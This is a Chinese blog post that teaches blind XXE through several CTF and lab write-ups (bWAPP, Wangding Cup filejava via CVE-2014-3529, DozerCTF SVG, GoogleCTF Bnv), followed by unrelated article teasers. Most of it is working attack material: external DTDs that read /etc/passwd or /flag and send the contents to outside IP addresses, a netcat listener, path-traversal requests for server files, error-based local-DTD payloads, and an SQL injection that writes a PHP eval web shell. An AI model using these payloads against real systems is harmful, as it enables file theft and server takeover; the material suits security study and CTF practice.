从几道CTF学习Blind XXE

2023-10-21 22:20
文章标签 学习 ctf 几道 blind xxe

本文主要是介绍从几道CTF学习Blind XXE,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

0x00 前言

对于传统的XXE来说,攻击者只有在服务器有回显或报错的情况下才能使用XXE漏洞来读取服务器端文件。 例如

<!ENTITY file SYSTEM "file:///etc/passwd">
<username>&file;</username>

如果服务器没有回显,只能通过Blind XXE构造一条外带信道来提取数据,也就是数据外带。

一个实例

xml.php

<?php
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
?>

test.dtd

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://ip:2333?p=%file;'>">

payload

<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://ip/test.dtd">
%remote;%int;%send;
]>
调用过程
  1. %remote请求远程vps上的test.dtd
  2. %int调用test.dtd中的%file
  3. %file获取服务器上的敏感文件,并传入%send
  4. %send将数据发送到远程vps上

这样就实现了外带数据的效果,完美解决了XXE无回显的问题

0x01 bWAPP

下面用bWAPP靶场来示例一下有回显XXE和无回显的区别

有回显XXE

点击Any bugs抓包查看正常请求,可以看到其中的XML文档

img

利用http协议

payload

<?xml version="1.0" encoding="utf-8"?><!DOCTYPE test[<!ENTITY file SYSTEM "http://192.168.115.142/bWAPP/robots.txt">]><reset><login>&file;</login><secret>Any bugs?</secret></reset>

img

利用file协议

payload

<?xml version="1.0" encoding="utf-8"?><!DOCTYPE test[<!ENTITY file SYSTEM "file:///etc/passwd">]><reset><login>&file;</login><secret>Any bugs?</secret></reset>

img

利用php伪协议

payload

<?xml version="1.0" encoding="utf-8" ?><!DOCTYPE test[<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/bWAPP/xxe-1.php">]><reset><login>&file;</login><secret>Any bugs?</secret></reset>

img

无回显XXE

由于bWAPP没有无回显靶场,这里用来测试一下数据外带的思路

我们先在vps上传一个test.dtd文件,内容如下

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://116.62.211.134:2333/?p=%file;'>">

payload

<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE test [ <!ENTITY % remote SYSTEM "http://116.62.211.134/test.dtd"> %remote;%int;%send; ]><reset><login>bee</login><secret>Any bugs?</secret></reset>

0x02 网鼎杯2020 filejava

CVE-2014-3529

Apache POI 3.10-FINAL及以前版本被发现允许远程攻击者通过注入XML外部实体访问外部实体资源或者读取任意文件。

影响范围

poi-ooxml-3.10-FINAL.jar及以下版本

利用文件

[Content-Types].xml

漏洞利用
  1. 新建test.xlsx文件,修改后缀名为.zip并解压,得到以下文件

img

  1. 修改[Content_Types].xml,在第二行加入以下内容

    <!DOCTYPE convert [ 
    <!ENTITY % remote SYSTEM "http://ip/file.dtd">
    %remote;%int;%send;
    ]>
    
  2. 压缩成zip后再修改后缀为.xlsx

  3. 在vps上新建一个file.dtd文件,内容如下

    <!ENTITY % file SYSTEM "file:///flag">
    <!ENTITY % int "<!ENTITY % send SYSTEM 'http://ip:2333?p=%file;'>">
    
  4. vps开启监听,上传xlsx文件后外带出数据

解题

任意文件下载

上传一个文件后可以点击下载

img

修改filename为../后得到一个Java的报错信息

img

这里用目录穿越读取WEB-INF下的web.xml文件

DownloadServlet?filename=../../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/web.xml

img

可以看到有UploadServlet、DownloadServlet、ListFileServlet三个class文件

DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/classes/cn/abc/servlet/DownloadServlet.class
DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/classes/cn/abc/servlet/UploadServlet.class
DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/classes/cn/abc/servlet/ListFileServlet.class
Blind XXE

依次下载下来后用jd-gui反编译成Java源代码,关键代码在UploadServlet.class第63行起

img

如果是以excel-开头的xlsx文件,就会调用WorkbookFactory.create去处理文件,从而触发XXE

vps上传一个dtd文件,内容如下

<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://174.2.73.65:2333?p=%file;'>">

将excel解压后,修改[Content-Types].xml,在第二行后加入以下内容

<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://174.2.73.65/xxe.dtd">
%remote;%int;%send;
]>

vps上开启监听

nc -lvvp 2333

img

0x03 DozerCTF2020 svgggggg!

svg简介

SVG是一种图像文件格式,它的英文全称为Scalable Vector Graphics,意思为可缩放的矢量图形。它是基于XML(Extensible Markup Language),由World Wide Web Consortium(W3C)联盟进行开发的。

SVG是一种用XML定义的语言,使用 XML 格式定义图形。SVG 文件是纯粹的 XML。

svg xxe

既然svg也是xml格式,自然可以用来xxe,下面给出有回显和盲打的payload

有回显

xxe.svg

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///etc/passwd" >
]>
<svg height="100" width="1000"><text x="10" y="20">&file;</text>
</svg>
无回显

xxe.dtd

<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=file:///etc/passwd" >
<!ENTITY % send "<!ENTITY res SYSTEM 'http://116.62.211.134:8088/?a=%file;'>">

xxe.svg

<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [  <!ELEMENT svg ANY ><!ENTITY % remote SYSTEM "http://116.62.211.134/xxe.xml" >
%remote;%send;]><svg height="100" width="1000">&res;</svg>

解题

这道题应该是加了白,如果请求的文件不是svg的话会返回Unauthorized type!

img

传入一个svg会成功加载

img

payload
xxe.svg
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [  <!ELEMENT svg ANY ><!ENTITY % remote SYSTEM "http://yourip/xxe.dtd" >
%remote;%data;]><svg height="100" width="1000">&res;</svg>xxe.dtd
<!ENTITY % show SYSTEM "php://filter/convert.base64-encode/resource=file:///etc/passwd" >
<!ENTITY % data "<!ENTITY res SYSTEM 'http://yourip:your port/?%show;'>">
history

根据比赛时候的hint读取一下history

/home/r1ck/.bash_history

img

cd /app
php -S 0.0.0.0:8080

得知在app目录下另起了一个web服务,开在8080端口

读取一下/app/index.php的源码

<!doctype html>
<html>
<head>
<meta charset="UTF-8">
<title>index</title>
</head>
Hi!
You Find Me .
Flag is nearby.
<body>
</body>
</html><?php $conn=mysql_connect('127.0.0.1','root','');
mysql_select_db('security');if ($_GET['id']){$id = $_GET['id'];
}
else $id = 1;
$sql = "select * from user where id='$id'";
$result = mysql_query($sql,$conn);
$arr = mysql_fetch_assoc($result);
print_r($arr);?>
sql注入写shell

payload

1' union select 1,'<?php var_dump(12);eval($_REQUEST[a]);?>',3 into outfile '/app/shell.php

写shell进去,读取H3re_1s_y0ur_f14g.php文件拿到flag

0x04 GoogleCTF2019 Bnv

以上都是引入外部服务器的OOB XXE,虽然好用,但是有一个软肋。当服务器配置好防火墙,禁止服务器请求外网dtd文件的话,就无法接受到数据了。

这时候就可以考虑利用本地dtd来进行XXE

本地DTD文件

Linux
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamsa 'Your DTD code'>
%local_dtd;
Windows
<!ENTITY % local_dtd SYSTEM "file:///C:Windows/System32/wbem/xml/cim20.dtd">
<!ENTITY % SuperClass '>Your DTD code<!ENTITY test "test"'>
%local_dtd;

基于报错的Blind XXE

基于报错的原理和OOB类似,OOB通过构造一个带外的url将数据带出,而基于报错是构造一个错误的url并将泄露文件内容放在url中,通过这样的方式返回数据。

引入服务器文件

test.dtd

<!ENTITY % start "<!ENTITY % error SYSTEM 'file:///fakefile/%file;'>">
%start;

payload

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE message [<!ENTITY % remote SYSTEM "https://www.0xdawn.cn/test.dtd"><!ENTITY % file SYSTEM "file:///flag">%remote;%error;]><message>0xdawn</message>
引入本地文件

payload

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE message [<!ENTITY % local_dtd SYSTEM "/usr/share/yelp/dtd/docbookx.dtd"><!ENTITY % file SYSTEM "file:///flag"><!ENTITY % ISOamso '<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file://fakefile/?%file;'>">%eval;%send;'> %local_dtd;]><message>0xdawn</message>
嵌套参数实体

payload

<?xml version="1.0"?><!DOCTYPE message [<!ELEMENT message (#PCDATA)><!ENTITY % para1 SYSTEM "file:///flag"><!ENTITY % para '<!ENTITY % para2 "<!ENTITY &#x25; error SYSTEM 'file:///%para1;'>">%para2;'>%para;]><message>0xdawn</message

但是对于三层嵌套参数实体构造的payload有些XML解析器是无法检测出来的

解题

测试过程

当我们把Content-type修改为application/xml后,得知缺少xml格式

Start tag expected, '<' not found, line 1, column 1

img

当我们把json格式数据转化为xml格式时,提示缺少dtd文件

Validation failed: no DTD found !, line 2, column 9

img

我们来添加一个简单的实体引用看看会发生什么

img

No declaration for element message, line 5, column 20

没有元素消息的声明,显然解析器需要在DTD中声明已定义的元素,我们给出定义

最终得到了正确的响应,响应格式也从json变为了xml解析器

img

让我们来试一下加载本地文件

img

internal error: xmlParseInternalSubset: error detected in Markup declaration
, line 1, column 1

得到了一个标记错误,这意味着文件已经成功加载,但因为不符合xml格式,所以中断了

报错流程

img

  1. xml解析器读取所需文件的内容
  2. 读取另一个文件,确保第二个假文件名中带有所需文件内容
  3. 返回一个错误,因为没有这个文件名
  4. 在错误信息中得到我们想读取的文件的内容
payload
<?xml version="1.0" encoding="UTF-8" ?><!DOCTYPE message[<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd"><!ENTITY % ISOamso '<!ENTITY % file SYSTEM "file:///etc/passwd"><!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///fakefile/%file;'>">%eval;%error;'>%local_dtd;]><message>&id;</message>

成功在报错中取回文件内容

img

0x05 Reference

一篇文章读懂Java代码审计之XXE

网鼎杯青龙组Web部分wp

[Blind XXE详解与Google CTF一道题分析](https://xz.aliyun.com/t/Blind XXE详解与Google CTF一道题分析https://www.freebuf.com/vuls/207639.html)

这篇关于从几道CTF学习Blind XXE的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/257322

相关文章

HarmonyOS学习(七)——UI(五)常用布局总结

自适应布局 1.1、线性布局(LinearLayout) 通过线性容器Row和Column实现线性布局。Column容器内的子组件按照垂直方向排列,Row组件中的子组件按照水平方向排列。 属性说明space通过space参数设置主轴上子组件的间距,达到各子组件在排列上的等间距效果alignItems设置子组件在交叉轴上的对齐方式,且在各类尺寸屏幕上表现一致,其中交叉轴为垂直时,取值为Vert

Ilya-AI分享的他在OpenAI学习到的15个提示工程技巧

Ilya(不是本人,claude AI)在社交媒体上分享了他在OpenAI学习到的15个Prompt撰写技巧。 以下是详细的内容: 提示精确化:在编写提示时,力求表达清晰准确。清楚地阐述任务需求和概念定义至关重要。例:不用"分析文本",而用"判断这段话的情感倾向:积极、消极还是中性"。 快速迭代:善于快速连续调整提示。熟练的提示工程师能够灵活地进行多轮优化。例:从"总结文章"到"用

【前端学习】AntV G6-08 深入图形与图形分组、自定义节点、节点动画(下)

【课程链接】 AntV G6:深入图形与图形分组、自定义节点、节点动画(下)_哔哩哔哩_bilibili 本章十吾老师讲解了一个复杂的自定义节点中,应该怎样去计算和绘制图形,如何给一个图形制作不间断的动画,以及在鼠标事件之后产生动画。(有点难,需要好好理解) <!DOCTYPE html><html><head><meta charset="UTF-8"><title>06

学习hash总结

2014/1/29/   最近刚开始学hash,名字很陌生,但是hash的思想却很熟悉,以前早就做过此类的题,但是不知道这就是hash思想而已,说白了hash就是一个映射,往往灵活利用数组的下标来实现算法,hash的作用:1、判重;2、统计次数;

零基础学习Redis(10) -- zset类型命令使用

zset是有序集合,内部除了存储元素外,还会存储一个score,存储在zset中的元素会按照score的大小升序排列,不同元素的score可以重复,score相同的元素会按照元素的字典序排列。 1. zset常用命令 1.1 zadd  zadd key [NX | XX] [GT | LT]   [CH] [INCR] score member [score member ...]

【机器学习】高斯过程的基本概念和应用领域以及在python中的实例

引言 高斯过程(Gaussian Process,简称GP)是一种概率模型,用于描述一组随机变量的联合概率分布,其中任何一个有限维度的子集都具有高斯分布 文章目录 引言一、高斯过程1.1 基本定义1.1.1 随机过程1.1.2 高斯分布 1.2 高斯过程的特性1.2.1 联合高斯性1.2.2 均值函数1.2.3 协方差函数(或核函数) 1.3 核函数1.4 高斯过程回归(Gauss

【学习笔记】 陈强-机器学习-Python-Ch15 人工神经网络(1)sklearn

系列文章目录 监督学习:参数方法 【学习笔记】 陈强-机器学习-Python-Ch4 线性回归 【学习笔记】 陈强-机器学习-Python-Ch5 逻辑回归 【课后题练习】 陈强-机器学习-Python-Ch5 逻辑回归(SAheart.csv) 【学习笔记】 陈强-机器学习-Python-Ch6 多项逻辑回归 【学习笔记 及 课后题练习】 陈强-机器学习-Python-Ch7 判别分析 【学

系统架构师考试学习笔记第三篇——架构设计高级知识(20)通信系统架构设计理论与实践

本章知识考点:         第20课时主要学习通信系统架构设计的理论和工作中的实践。根据新版考试大纲,本课时知识点会涉及案例分析题(25分),而在历年考试中,案例题对该部分内容的考查并不多,虽在综合知识选择题目中经常考查,但分值也不高。本课时内容侧重于对知识点的记忆和理解,按照以往的出题规律,通信系统架构设计基础知识点多来源于教材内的基础网络设备、网络架构和教材外最新时事热点技术。本课时知识

线性代数|机器学习-P36在图中找聚类

文章目录 1. 常见图结构2. 谱聚类 感觉后面几节课的内容跨越太大,需要补充太多的知识点,教授讲得内容跨越较大,一般一节课的内容是书本上的一章节内容,所以看视频比较吃力,需要先预习课本内容后才能够很好的理解教授讲解的知识点。 1. 常见图结构 假设我们有如下图结构: Adjacency Matrix:行和列表示的是节点的位置,A[i,j]表示的第 i 个节点和第 j 个

Node.js学习记录(二)

目录 一、express 1、初识express 2、安装express 3、创建并启动web服务器 4、监听 GET&POST 请求、响应内容给客户端 5、获取URL中携带的查询参数 6、获取URL中动态参数 7、静态资源托管 二、工具nodemon 三、express路由 1、express中路由 2、路由的匹配 3、路由模块化 4、路由模块添加前缀 四、中间件